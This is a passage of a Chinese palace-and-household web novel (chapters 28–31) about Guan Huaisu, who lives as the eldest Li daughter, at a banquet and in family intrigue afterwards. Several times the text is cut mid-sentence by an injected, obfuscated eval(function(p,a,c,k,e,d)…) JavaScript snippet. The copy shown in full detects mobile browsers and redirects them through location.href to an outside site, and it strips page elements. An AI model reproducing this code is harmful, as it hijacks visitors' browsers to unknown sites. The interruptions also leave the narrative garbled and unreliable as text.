李家老夫人年事已高,且不在此地,众人便只震惊地问孙大娘子:“还有这样的事情,孙娘子你知道吗?” 孙大娘子脸上都要成猪肝色了!有些事情,做得却说不得,这事儿可是家丑! 她带着这个继女也出来交际很多次了,知道这继女口笨舌拙,受委屈了也说不清楚,更被养得柔顺太过,脑子有些不清楚,有时候心软的过分。 她方才还怕继女被郡主咬**是有攀龙附凤之心,要知道这样的话,关怀素算德行有亏,她的婉淑以后相看人家都要被连累,关怀素能解释清楚,孙大娘子倒是乐见其成。 可是解释到一半,竟然抛出这样的内宅阴私,还牵连到她,偏众目睽睽之下,她还不好制止关怀素,免得众人觉得她心虚! 孙大娘子往日虽不健谈,但也是说话清爽的人,如今却只能赔笑着干巴巴说一句:“我们家老夫人常年吃斋,在家也恪守居士德行,确实性子十分温和。” 这话说的,本朝佛道虽然不如前朝兴盛,但是各家夫人却大多也会经常为家人祈福,因此信徒不少,孙大娘子这么说,虽然此事还是让人震惊,却到底面子上说得过去了。 关怀素也是心中微微有些佩服,孙大娘子机变过人,她这些年所见之中,都能算排得上号的机灵。 “婉玉自小由老夫人养在跟前,许多事情,我确实不好插手。”孙大娘子说完,赔笑了一下,带着点不自然的委屈小声说。 众人顿时就露出明悟之色。 确实,孙大娘子是继室,众人不需要想就知道,继室在这样的情况下,与前头嫡女确实容易相处尴尬,尤其是还不在她膝下教养。 也有人与孙大娘子共情,当场就有一个丰腴些的夫人不赞成地看着关怀素,冷笑一声,说:“婉玉姑娘,你这话说的,先头你体贴了那小婢女,怎么现在又不体谅了?” 关怀素怡然不惧,只冷静回答:“因为我回家之后,并无人听我解释,送我去八仙庄,幸而得天庇佑,我的外祖父关怀远曾在庄子收下不记名弟子,弟子又留有后人,感念祖父之德,对我多番照顾,又协助我处置庄子上欺上瞒下、盘剥乡里的刁奴,多方教导,方令婉玉明白了一件事情,原来圣人所说以德报怨之后,尚有几句,全文乃是‘以德报怨,何以报德?以直报怨,以德报德’如此方为圣人教化。婉玉不才,愿效古之圣贤。” 此话一出,满堂皆静。 众位夫人一时之间竟不知道说什么,门外在这个时候,却传来一个女子洒脱的声音,笑着说:“说得好!不愧是工德先生之后!” 众人回头一看,却看到门外头站着一个鹅蛋脸的年长妇人,穿着件水红色的夹袄儿、浓紫色团花裙,头上簪花戴翠,打扮得艳丽动人。 关怀素并不认识这个妇人,却知道她定然是与祖父、母亲都极其熟悉,因为工德是祖父的字,只有当初与祖父极其交好的人家,才会知道祖父这个小字。 可问题是,关怀素并不认识她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“确实委屈!”孙大娘子赔笑说完,本是人家家里的事儿,为了礼仪,大家也只会感慨一声就散了,可面前这个妇人却完全不按照常理来,反而直接接了孙大娘子的话,冷笑着说了一句,“可怜的孩子,明明是工德先生的后人,当年她阿娘何等飒爽一个女子,在宫苑里与大长公主一起读书都不逊色的人,生下的孩子本就是天生的灵秀苗子,偏生被教养成受气包一样,连丫鬟仆人都要敬着,竟差点害得自己成了满京师的笑话!放眼全京师,谁家女儿被教养如此?关系性命的清白大事竟都不敢替自己分辨,差点就成了他人龃龉伎俩的踏脚石……也该是工德先生与素素泉下有知,才叫这孩子在庄子上遇到了祖父的弟子,到底是天生的血脉,这半年正当教养,竟比往日十五年都清白,效仿古之圣贤,好!说得极好!” 这话一顿抢白,连损带贬,只差指着鼻子骂李家人故意打压嫡妻留下的孤女,心思歹毒。 孙大娘子又羞又怒,她倒是想抢白一番,但是还没说话,关怀素却知道见好就收,生怕这位长辈说得太过,到时候反被人攻讦,于是立刻眼泪一串串下来,哽咽地说:“婉玉当日也试图说过,但是无人相信,若是当日能得夫人一句话,婉玉、婉玉……” 说到这里,泪如雨下,竟是泣不成声。 众人看她这么一个半大姑娘,哭成这样,又想到她出生丧母,身世可怜,在场大多是浸淫后宅多年的人,哪里猜不出里面的弯弯绕绕? 于是立刻就有看着和气的夫人出来打圆场,连声说:“如今说清楚了也好,想来郡主也不会怪罪于你了。” 郡主正看得津津有味呢,猛不丁被提到,虽还是对关怀素有所怀疑,但大致上已经释怀,只颔首说:“若是如此,那确实是一桩误会,我自不会介怀。” “郡主高义!”关怀素还没动,旁边那妇人就拉着关怀素行礼,连声恭维。 这一番风波,到此终于消弭于无形。 而孙大娘子还想解释,到底是失去了先机,此刻再旧事重提,不免显得她心虚,于是她也只能含恨咽下话头,笑着恭维郡主,然后恭送郡主出去。 关怀素心中这才了悟,却原来郡主是专门跑来夫人们这里发难的——在闺秀面前说这些,定然没有在这些官眷面前说有用,毕竟以从五品官之女的身份,日后她的婆婆差不多也就在这些夫人里面,因此只有在这边发难,若是让她哭着跑走,日后就绝了她嫁给门当户对之人的亲事了。 不得不说,郡主打算很好。 只是若不是用来对付姐姐的话,关怀素可能会更欣赏一点。 第二十八章 游园惊魂 关怀素拂袖离去,周丽娘满心惶急,想对围观众人解释,可是众人对上她的眼神,几乎立刻脚底抹油,生怕被她抓住说话。 丽娘又想去追关怀素,可却被婉淑一把抓住。 婉淑终于意识到,大姐姐去了庄子上半年之后,真的脱胎换骨,以前那套办法不管用了。她连忙阻止丽娘,连声说:“丽娘,别去,我大姐姐最近愈发牙尖嘴利,万一又给你扣个什么名头就不好了!” “不要你管!你方才不替我说话,这时候做什么假惺惺的?!”周丽娘差点气哭,她想到若是关怀素今日对她说的话要是传出去,只怕要被父母斥责,连嫡兄嫡姐指不定也会对她心中有隔阂。 想到这里,丽娘的眼泪瞬间就下来了。 “丽娘,你别哭了,我知道你不是这个意思,大姐姐也太过分了,无端端这样指责你!”婉淑却一把抱住周丽娘,突然大声安慰起来。 其实周丽娘本还在生她的气,本想推开她,此时恰好有相熟闺秀路过,不明所以问发生何事。 婉淑便哭起来,说:“丽娘为了我,想跟我家大姐姐一起赏花,谁知大姐姐说我们都是继室之女,把我们骂了一顿,还说丽娘以后定要给原配的兄弟和姐姐整治,都是我不好,丽娘本想着让我好过一些……” “真是岂有此理,你们本是好意,她真是过分!”立刻便有小娘生的,或是继室家里的姑娘瞬间共情,义愤填膺起来。 众人一起安慰丽娘,还有人同情婉淑,觉得她真是倒霉,遇到这样的长姐。 周丽娘瞧着婉淑这么一说,大家都在斥责李婉玉,登时也开心了,又亲**与大家一起说笑起来。 她们却都不知道,她们在墙角的这一番风波,在围墙后头,却恰好叫一个年轻男子听到全程。 “爷,您怎地又一个人躲在这里啊?”小厮来福找了一圈,终于才在院落的修竹丛后找到自家爷,忙不迭上前说,“太子爷找您一起游园呢!” 再一看自家爷只穿着身袍子坐在石头上,来福顿时急了:“哎哟您怎地不穿披风,晚间着凉了可怎么办?” 年轻男子眉飞入鬓,容色姝艳,只是面色苍白,透着一股子病气。他听着小厮一叠声地抱怨着,伸手让他扶起来,轻声说:“那帮人每日拿着太子做筏子,个个心思涌动,我实在是懒得应付。” 说到这里,他看着围墙,皱眉说:“关老师真的在八仙庄留了许多外门弟子?” 来福立刻点头,说:“打听了,是真的。当年都是关老先生教导过的,也是给李大姑娘好歹留了些福报。” 年轻男子点头,叹了口气,轻声说:“无事便好,她先前也是被人设计,偏我一直发病,都没顾得上,得亏有人帮手,不然她一个人在八仙庄遇到民乱,实在是危险。” “爷,您别多想了,您这一冬天差点命都没了。”小厮心疼地说,“如今李大姑娘也是得了造化,自己硬气起来了,也是好事。” “到底是故人血脉。”小侯爷摇摇头,微微疲惫地揉了揉眉心,轻声说:“京师人心诡谲,众人都有自己的谋算,身在其中稍不注意,就是狂澜之灾。哎,可叹我如今已经是个废人,连自个儿也护不住……” 来福见爷想起伤心事,立刻打断,说:“太子殿下等着您游园呢。” 二人说着话,一路出去了。 关怀素还不知道身后这些动静,她离开之后,便慢慢散步,换了个角落观花。 正看得入神,突然听到女孩们骚动的声音,她惊讶地转头,便看到花园拱门处,一群年轻郎君正结伴而来。 这些年轻郎君都是佩玉之人,个个出身不凡、风度翩翩,尤以最前方两个男子最为俊美。 穿红色常服的年轻郎君,佩玉戴金,生得眉目如画,贵气天成。 旁边那披着白狐**披风的郎君,更是清雅绝伦,仿佛宋玉再生,一见忘俗。 “是小侯爷和太子殿下!”旁边有闺秀站定,激动地低声说,“天啊,小侯爷真是好看!” “是好看,可惜了。”她旁边的女孩轻声感慨。 “是啊……”那激动的女孩神色黯淡下来,有些不忍地咬咬唇,想说什么,但是最后却只是感慨了一声,“可惜了。” 关怀素知道她们在可惜什么。 本朝只有一个小侯爷,乃是大长公主唯一嫡子周乐天。 小侯爷儿时养在太后膝下,后在京师长到十三岁便去了西北,十五岁跟随大长公主北驱狄夷,如长鞭直入草原内,驱狄夷八百里,割下首领阿拜疆头颅,一战成名。 此后三年,小侯爷周乐天如出鞘利刃,百战百胜,从无败绩。 加上传言他与号称“郎艳独绝、世无其二”的父亲长得极其相似,于是一度成为全天下闺阁女儿心中最向往的英雄。 只可惜,前年突然出了个天下震荡的丑事——据说有极其确切的证据,证明小侯爷有私通敌国之罪。 而他那屡屡奇功,竟是与狄夷勾结蒙混世人! 此事据说大长公主都未曾否认,小侯爷差点就被在北疆问斩,还是太后派心腹旧将千里奔驰,劫了法场,才把人救回京师。 据说此事之后,小侯爷一身武艺全废,一年大半时间都在喝药,就这么在京师里养着,当年那些事情,陛下只说此事证据不足,不准再议。 可是全天下都知道,是太后如此力保亲手养大的孩子,而陛下按下此事,不过是因为太后,不是小侯爷真的清白。 自此,美玉破碎,小侯爷从此变成了一种大家无言的默契。 哪怕是闺阁女儿,看到小侯爷艳色无双的脸心中再动摇,也不敢随意说一句倾慕。毕竟,这可是通敌叛国之人啊! 但是关怀素其实并不这么认为。 当时她得知消息的时候,正和祖父在一处乡下帮助乡人修理老宅,祖父和她趴在房梁上,拿着一柄石锤敲打铆钉,一边对关怀素说:“素素,你觉得,小侯爷是真的通敌了么?” 关怀素当时一边挫铆钉一边说:“不确定。只是……小侯爷已经升无可升,他通敌冒功,要不是天下第一大蠢货,要不就是天下第一狼子野心之人!” 祖父当时大笑,十分满意。 关怀素到现在依旧是这个看法。 她身边的姑娘们可惜完小侯爷,又在窃窃私语,讨论太子英俊,可惜多情,后宅姬妾太多,旁边几个伴读又多么年轻英俊等等。 这些都是小女儿的私房话,关怀素不欲再多听,便抬脚走到了一边,继续百无聊赖地观察。 远远看到,随着太子与小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183304|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯爷等一干郎君入内,整个院子瞬间热闹起来。 福宁郡主当先一脸喜悦地跑过去与太子说话,一直没有表情的太子看到福宁郡主之后,立刻露出了一点笑容。 太子本就生得如玉面书生一般,这一笑更是夺目。 看到福宁郡主一脸娇羞喜悦,关怀素终于恍然大悟,明白了福宁郡主对姐姐的敌意从何而来。 原来福宁郡主竟然倾慕太子! 如此一来,就全说得通了! 关怀素一想明白,愈发眼观鼻鼻观心地躲在人群后面,不敢让人抓到一丝把柄。 福宁郡主拉着太子把臂同游,年轻男女们不敢如此亲密,只默契地以湖泊为中心,两边分别隔着距离游玩行走。 关怀素心中明悟,这种花会大概就是本朝官眷们让子女们互相相看的宴会了。 只是先皇在时,哪里会如此弯弯绕绕,一群年青男女高歌饮宴、蹴鞠舞剑、弹琴论诗,玩耍嬉戏,从不避人。 如今却弄得这不伦不类的样子。 关怀素心中觉得有些可笑,并不想加入这场相看,于是溜达着想找个角落,勉强把今日过了。 却没想到才走几步路,突然听到身后传来女子尖叫的声音! 关怀素回头一看,便看到清凉亭里,一群女孩尖叫着,而水里有人在疯狂挣扎! 有人落水了! 意识到这一点,再看到旁边男丁们都露出惊愕之色,再看到有人在叫小厮下水救人,关怀素神色一厉,立刻大喊:“让开,我会水!” 说完,她一边脱下外面的厚比甲一边狂奔到风雨廊前,一路冲到清凉亭便纵身一跃,下水朝着惊慌失措的女孩游过去。 这落水姑娘显然是不会水,关怀素下去之后,看她毫无章法在扑腾,也不犹豫,游到这姑娘身后就是一个利落的手刀,这姑娘立刻闷不吭声昏过去,看着就要往下沉。 关怀素这才上前背着她,一只手拉着她,一只手拨水,好容易游到岸边,赵家的丫鬟婆子们也冲了过来,关怀素横抱着这姑娘,还没说话,远处作陪的赵姑娘赶来,看到一身湿淋淋的关怀素二人,立刻吓得连声说:“快、快立刻带婉玉姐姐与宋兰妹妹去我屋里,找两身干爽衣衫换了!” “多谢妹妹。”关怀素匆忙之中只来得及说一句,便立刻抱着宋兰大步往屋里去。 身后,湖泊那边的郎君们也看到了这一幕。 “那边怎么回事?”太子身边,便有人皱眉问,“怎地闹哄哄的?” “回三公子,是宋家姑娘落水了,幸亏吏部考功司李大人家的大姑娘会水,把人救上来了。”小厮得了消息,立刻过来回话。 “李大姑娘?”一边有个凤眼狭长的公子就忍不住冷笑一声,说,“她竟还会泅水?怎么哪里都有她?” 众人登时想起上回这姑娘跌倒在太子面前的事情,一时神色都古怪起来。 “得亏她古道热肠,救下人性命。”沉默之中,周乐天慢慢放下茶杯,咳嗽一声,轻声像是随意地说,“否则那姑娘今日怕是要有麻烦。” 周乐天这么一说,微妙的气氛登时一松,众人便纷纷附和。 宋三郎没想到一贯沉默的小侯爷会说话,他冷笑一声,却也并不多说什么,只扭开了脸。 第二十九章 程姨母 关怀素不知道宴会那边的小风波。 她抱着宋兰进了院子,把宋兰交给丫鬟,自己才匆匆换衣烘头发。 柳叶赶过来的时候,宋兰也醒了。 得知自己被救,宋兰从隔壁过来,一进门就对关怀素蹲身行全礼。 “你这是做什么?”关怀素被唬了一跳,立刻起身,连声说,“快起来!” “不,我应当行礼。”宋兰却坚持行完礼,才直起身体看着关怀素说,“我早先与姐姐见面,多次出言不逊,今日满院子人,却只有婉玉姐姐你一人愿意帮我,可见往日我总嘲讽姐姐软弱愚蠢,倒没想到,我自己倒是承了姐姐心慈手软的福气。” 这话说的,明明是在道谢,倒还把自己心里原本的看不上说出来了,让人都不知道怎么回答。 但是关怀素倒是不讨厌这样的人,起码宋兰说话虽然有时候有些呛人,但是她性子直白,若是觉得你好,便坦坦荡荡地承认自己错了,若是觉得哪里看不上,也直白地开口嘲弄。 这样的人,确实也有当年大儒宋智先生的风采。 关怀素想到祖父说好友文君先生当年一张利嘴惹出来的许多啼笑皆非的往事,再看看眼前的宋兰,心中微软,微微一笑,温声说:“不用谢我,今日园子里不管是哪位姐姐妹妹落水,我都会去救人。” 关怀素说的实话,如今风气对女子愈发苛刻,京师尤甚,她下水去救人,总比让小厮抱着人上岸好些。 “要谢的。”宋兰脸上带着讥讽笑意,说,“否则今儿若是真被小厮救了,只怕我舅舅真会为了面子逼我做尼姑去呢。” 关怀素敏锐地意识到了宋兰话语里带着的怨恨,但是她也不好刺探人家的家事,因此只做没有听懂,却听到宋兰压低声音说:“我看婉玉姐姐此番回来,似乎换了个人一般,行事隐约自有章法。宋兰想提醒婉玉姐姐一声,后宅之内,一味安分随时,只怕日后不会好过。” 说完,看着关怀素迟疑的神色,她皱眉,突然急促地说:“我今日落水,是与人斗气推搡,无怪其他。但是半年前姐姐你被人引走,我却是看得清楚……” 话正说到一半,猛不丁门帘晃动。 关怀素与宋兰都吓了一跳,立刻回头,却是个嬷嬷进来问她们可歇息好了,两人止住话头,烘干梳头,而后返回花厅。 回去后福宁郡主已经不在,赵家姑娘赵白芷坐在上首,见到她们立刻便起身招呼,询问她们可曾风寒,她本就生的圆脸和气,方才一直陪着福宁郡主还不觉得,此刻笑着拉着她们二人说话,才愈发让人感觉出这位赵姑娘的长袖善舞来。 “都怪我安排得不周到,今儿让两位姐姐受惊了,实在是我的不是,我给两位姐姐赔罪了!”她笑着握着关怀素与宋兰的手,一叠声轻笑着说话,声音温柔,让人心中再大的怨气也能消弭于无形。 何况这事儿本就和她无关,宋兰和关怀素自然都不会让她赔罪,三人说着话,一旁周丽娘突然冷笑一声说:“赵姐姐可别太愧疚,叫我说她们可是反得了便宜,看看婉玉姐姐和兰姐姐身上穿了这两身新衣裳,可比来的时候还漂亮呢!尤其是兰姐姐,像是换了个人一般!” 说完,周围姑娘们顿时都笑起来。 “多谢赵家姐姐,”宋兰被讥讽寒酸占便宜,脸上微有薄怒,却压着脾气对赵姑娘说,“他日衣服浆洗好,我一定尽快给你送回来。” “可不必如此,这两件衣服都是今年做的新衣,结果我却长高了不少,其实已经穿不下了。”赵姑娘一团和气打着圆场,笑着说,“刚巧送给姐妹们,也不算埋没它们了。” “哎呀呀,兰姐姐还是收下吧,日后再有宴会,好歹可以换这身新衣来见客,总比旧衣暖和漂亮不是?”周丽娘继续刻薄开口。 关怀素发现宋兰这人说话耿直,却十分清高,虽然嘴皮子利索,但是却不懂吵架。 赵姑娘态度十分大方,宋兰再与赵姑娘推辞,不免会显得不近人情,若是再被刺激着脱了新衣,穿自己的濡湿旧衣回去,那才是真正地出丑,只怕反而如了周丽娘的意。 且周丽娘一再发难,除了看不起宋兰之外,其实更多可能是在报复方才与她吵架之仇。 关怀素当然不能坐视不管,于是她挡在宋兰面前,盯着丽娘问:“敢问这位妹妹,你是不是十分羡慕我们得了赵妹妹送的新衣?你是不是心里后悔**,早知道方才你就自己去跌水里,打量着赵妹妹心善,你不也可以得一身新衣衫了?” “怎么可能!我怎么可能妒忌你们的新衣服?”周丽娘气得脸红耳赤,生气地说,“你当我是没见过世面的乡下土包子吗?!” 关怀素正色厉声说:“那你的意思是,我们两个就是没见过世面的乡下土包子?我们故意想坑赵妹妹的衣衫?!” 周丽娘就是这个意思,但是她嘲讽是一回事,真被拎出来这么说,却又不能承认,否则大家小姐,岂不是与村中泼妇无异,她立刻否认:“我当然不是说你们……” “不是就好。既然不是妒忌我们,丽娘妹妹就别一再念叨了,免得显得斤斤计较,倒让人误会。”关怀素冷笑一声,看着周丽娘脸色青白,哪有方才挤兑奚落她们的气焰? 她顿时满意,又转头过来笑着对赵姑娘说:“那我们就多谢赵妹妹了,如此便厚颜收下了。” “好!”赵白芷笑着看完她们斗嘴,笑眯眯地说,“婉玉姐姐与平日看着大不一样了。” 关怀素神态自若,轻笑着回答:“生死关头走一遭,若是还如往常一样,那也太窝囊了。” 她说完,赵白芷带着微微思索之色,而后轻笑着说:“也是。” 就在此时,丫鬟们来传话,说是夫人们喊大家伙儿去园子里听戏,一群姑娘家于是又动身去了戏台那边,跟着看了几折子戏。 等到一天玩下来,到了回家的时候,众人都疲惫不堪。 不但女眷如此,与男丁们一起应酬的父亲与两个弟弟也都累得没什么力气,一家人回府就各去自己院子里安歇不提。 关怀素也是疲累不堪,晚上便只随口用了几口饭食,到了休息的时候,才问柳叶打听到了什么。 柳叶白日使钱,在下人里听了许多京师流言蜚语,这些虽是小事,但是多听一些,有利于关怀素更清楚掌握局面。 于是柳叶边说,关怀素边记起京师这些弯弯绕绕的许多事情来。 说着说着,关怀素就想到了白日见过的程姨母,便问起来。 “姑娘,先皇帐下的前锋程老将军,您知道吧?”柳叶问。 关怀素一愣,然后说:“我记得,祖父每年秋日都会为他烧纸,说程爷爷出身草莽,但是却是一等一的豪爽汉子……当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳叶点头,低声说:“我听那些丫鬟婆子说起程娘子时,都十分不屑,说她残花败柳之身,想来大姑娘性子谨慎,大约也是顾忌流言的……” 关怀素长叹一口气。 “难为姨母了,今日还巴巴来找我说话……”关怀素心中难受,百味杂陈,轻声说。 她那样的经历,在京师这样的风气之下,只怕人人都当作笑话一般。若是心智不坚之人,只怕羞的门也不肯出了,看姨母那样子,也不是真的毫不在意其他人风言风语的,但是她每回还是巴巴地凑到宴席里。 她肯定不是为了与嘲笑她的人交好,在关怀素看起来,原因只有一个,那就是因为这姨母,只怕是心里不放心姐姐,所以找到机会总想来确认姐姐过得可好。 可惜姐姐却不懂姨母这一番苦心。 可这事儿不能怪姐姐,毕竟瞧李家老夫人那样子,姐姐只怕自襁褓之中就被人故意往歪了养,根本没机会分辨是非,是背后之人其心可诛。 想到这里,关怀素心中愈发难受,只能告诉自己,没关系,慢慢来,总有算总账的时候。 如此自我安慰,关怀素心中好歹舒服了些,便和柳叶早早歇下来了。 她却不知道,她今儿在宴会上的惹眼表现,引得此时几处人都在说起她。 第三十章 京师夜话 东院此时就灯火通明。 婉淑回家之后,一进屋就问:“阿娘,今儿后来怎样了,可有机会提到大姐姐相看的事儿?” 孙大娘子忍了一天,正与陪嫁周妈妈大骂白日之事! 听到婉淑进门来,没心没肺地第一句还在问别的,她气得怒声说:“还大姐姐的事儿,你就没想过今儿你大姐姐说那一通,我后头哪儿有空管这个事情!” “姑娘,今儿大娘子被奚落了大半天,心里正难受呢。”周妈妈立刻上前低声对婉淑提醒,“大娘子回来之后,水都没喝一口,饭也没吃。” 婉淑听周妈妈这么一说,才发现自己一心忌惮大姐姐,却忘了阿娘今日最难受。 “阿娘,你别气。我今日本来想替阿娘教训一下她,没想到却差点让丽娘都着了她的道,竟差点被她绕了进去。”婉淑对母亲三言两语说了今日白天在花园里的那番话,才说,“我是觉得大姐姐此番变化太大……实在是让我不安心。” 孙大娘子听到丽娘那句“你是不是恨婉淑的娘占了**位置?可若不是你娘**,你父亲也不会再娶,你怎么不怪你娘死的早呢?!”本露出了解恨之色,她心中确实如此想。 毕竟如果婉玉的阿娘还在世,也轮不到她如今当李家当家主母! 孙大娘子觉得心里痛快,拿起身边的茶盏就要喝茶,结果听到婉淑说到关怀素那一句“你家原配子女若是过得不好,那也是都怪人家娘死的早,对吧?”,顿时吓得一杯茶盏没拿稳,直接掉在地上,上好的一件官窑冰裂天青瓷“啪”的一声掉在地上,摔了个稀碎。 “她、她怎么敢!”孙大娘子却顾不得心疼最爱的茶盏,又惊又怒,气得拍案而起,怒声重复,“她、她怎么敢!” 可是孙大娘子却是色厉内荏,惊怒结束,脸色惨白,只余惶恐。 婉淑看着不对,立刻说:“娘,没事,我当时便想办法把这事儿带过去了。” “带不过去!”孙大娘子急地站起来,拆了钗环,对身边的周妈妈说,“快,换一身素净的衣裳,我去前院找老爷请罪去。” 婉淑不明白阿娘怎地如此紧张,连声问:“阿娘,一件小事,何苦这样大动干戈的……” 话还没说完,却被母亲的脸色吓得声音越来越小,竟然是不敢出声了。 因孙大娘子脸色难看至极,拆了头上的金器,外头的绸缎夹袄也脱了,只穿了身最旧的深红色薄夹袄。 这一番换下来,方才还端庄富贵的大娘子一下子浑身气势不再,看着倒是显得几分可怜来。 “这不是小事。淑儿,你记着,永远永远不要掉以轻心。”孙大娘子换完衣衫,整理好自己的衣襟,冷声对身边的女儿轻声叮嘱,“宴会上人那么多,你爹今日不知道,日后也会知道。” 她看着眼前的婉淑,认真地叮嘱:“婉淑,别小看一个男人对年少发妻的情谊。不管当初如何……” 说到这里孙大娘子沉默了一下,冷笑一声,说,“**永远是最好的,更何况是惊才绝艳、又死在最好的年纪里的人。” 说完,她拍了拍婉淑,脸上流露出一闪而逝的悲凉。 这一刻,这个看着姿色不出众、端庄有余却总是显得过于木讷,如李家后院一尊泥塑般坚固的女人,在此刻像是身上的外壳碎裂了一瞬,露出了里面被掩盖的许多复杂真实内里来。 但是那只是极短的一瞬,短暂到婉淑甚至以为是某种错觉。 她只愣愣地听完阿娘的话,然后看着阿娘转身,一路顺着长廊走出院子,匆匆赶去见父亲了。 婉淑看着母亲的背影,想着阿娘的话,心中似懂非懂。 她想不太明白,但是不知为何心里却一股子憋闷。 婉淑心里发闷难受,那边婉蓉却十分得意,开心地与小娘说起今日东院母女吃瘪。 末了婉蓉嘲笑:“今儿她们可都丢大人了!” 崔妙人听得快活,开心抚掌而笑说:“好、好!东院那两个,一天天地摆出一副菩萨样子,当自己多了不起,可给我抓到把柄了!蓉儿,一会儿晚上你爹爹过来,你记得把这事儿告诉你爹爹,让他也好好知道一下,他心里头觉得大度温柔的大娘子,到底心底里是怎么想关娘子的!” “为啥要告诉爹啊?”婉蓉不理解,说,“若是爹反而心疼她们受委屈了,可怎么办?” “不可能的。你爹虽然嘴上不说……”崔小娘不知道为何冷笑了一下,然后才语气带着点古怪地说,“但是若是真有人这么说关娘子,他只怕真的会气得与人拼命。” “我不明白。”婉蓉迷茫地看着自家小娘。 “你只晓得一个事儿,这男人啊,对一个地位高贵又主动下嫁自己的女人,心情一定与一般不一样。尤其是关娘子当初风华绝代,那可是当初差点入了当今后宫的人……可比起当皇妃,关娘子选择了当李家妇,没有男人会忘掉这样的女子。”崔小娘摇摇头,冷笑说,“你看我平日面上从不沾手你大姐姐的事情,为什么?” 看婉蓉一脸呆愣,崔小娘恨铁不成钢地说:“因为你爹自己心里别扭着呢!他看着对你大姐姐不怎么热络,但是心中不知道多么记挂关娘子,不然你当后头宁小娘怎么来的?” 说到这里,压低声音说:“平素瞧着是没事,但是你瞧着,这回提到关娘子,你爹要知道了,东院死定了!” 两人说完,抖擞精神等着李珺来院子里打算告状,结果等了半晌,丫鬟回话,说老爷说晚膳便在东院用了,让她们自己吃了早些歇息。 崔小娘本来乐呵呵的脸色瞬间沉下来,捏着帕子恨声说:“她倒是机警!” “小娘,不去请爹过来吗?”婉蓉不明白,平日父亲若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔小娘也知道这回孙大娘子怕是又赢在前头了,她虽然心里可惜,但是倒也不是特别惋惜,毕竟对面再怎么努力,到底也就得郎君几分敬重,和她快二十年的情分比起来,绝对无法撼动。 再说,她也不是没有倚仗。 “走,你爹爹不来,我们去你祖母那里一起用夕食。”崔小娘换了笑脸,对婉蓉说,“你祖母平时最疼你们了,咱们多陪陪她。” 二人去了老夫人屋里,老夫人见二人过来,便立刻笑着叫下人:“陈妈妈,婉蓉来了,去叫厨房加一道酿茄子!” “祖母真好!”婉蓉立刻笑着上前撒娇。 一时之间,正院立刻便热闹起来。 而另一头,孙大娘子却没有崔小娘二人想的轻松,她前一刻正满脸泪痕坐在李珺的书房里擦脸。 而她的额头上,赫然还有一道血痕。 正是方才李珺盛怒之时砸到的。 第三十一章 话当年 李珺一回来,就听下人说起了白日的事情。 李珺听完,本来擦脸的手顿住,放下帕子挥挥手让下人退下,才深呼吸几口气,端了茶盏喝茶。 偏就在这个时候,孙萍进来了,李珺本在极力压抑自己的情绪,此刻看到孙大娘子,脑海之中一直回荡着那句“都怪你娘死的早!”,李珺心中狂怒终于彻底爆发,茶盏朝着孙大娘子的脸上砸过去,砸的孙大娘子当场额角就是头破血流。 “你这毒妇!你把好好的孩子都教成什么样了!”李珺想到早逝的发妻,看孙大娘子额角流血,依然无法抹去胸口震荡的怒火,他抖着手指指着孙大娘子,痛心地说,“我一直当你是个大度贤淑的人,一直给你体面,你在背后竟如此想的吗?婉玉那丫头日子过得不好,得怪她娘**?你就是这样想的?!” 李珺心中即痛且怒,他自续娶以来,一直觉得继妻性子宽和、有主母风度,也是因为这个原因,李珺一直敬她三分。 却没想到婉淑竟能与朋友一起这样对她大姐姐说话,简直是诛心之语! “老爷!老爷你息怒!我正是为了此事来的!”孙大娘子一听就知道糟糕了,她紧赶慢赶,却没想到还是慢了一步,还是先让李珺知道了这事儿。 此时她也一不做二不休,上前一步避过地上的碎片跪下来,眼泪一下子跟着下来了。 孙大娘子哭着说:“事到如今,我说我从未如此教导过淑儿,说我真的不知此事,想来老爷也定然是不信的。既然如此,老爷便休了我罢!” 这话一出,反而让李珺的狂怒一下子像是被浇了冷水一般,猛地从那过度愤怒之中抽离出来,彻底清醒了。 李珺看着地上满额头是血的孙大娘子,看她满脸泪水,只是哭着,却不为自己分辩。 李珺这才猛地想起来,自己这个继妻他是知道的,原先他本没想娶她,当初他放出风声需要续弦时,立刻便得了许多暗示。 便是连当时的上峰也曾暗示过,家中也有适龄的女儿。 可最终李珺却选了孙大娘子这个寄住在舅舅家的县丞之女,不但家世不显,便是连外貌也不甚出众,惊掉了众人的下巴。 许多人都不知道缘由,只当是李珺不想继妻家里太复杂,毕竟前头还有个嫡女在,也是一片拳拳慈父之心。 但是唯有李珺自己知道,当时他心中根本没有孙大娘子这个人选。 因孙大娘子在一众人选之中,容貌与家世都算是末等,李珺当初是想找个出身差一些的,也免得多生事端,却也没考虑到她。 之所以心中定下孙大娘子,乃是因为一次在同僚宴请之中,路过花园,却听到了两个女子在刁难欺负另一个女孩儿。 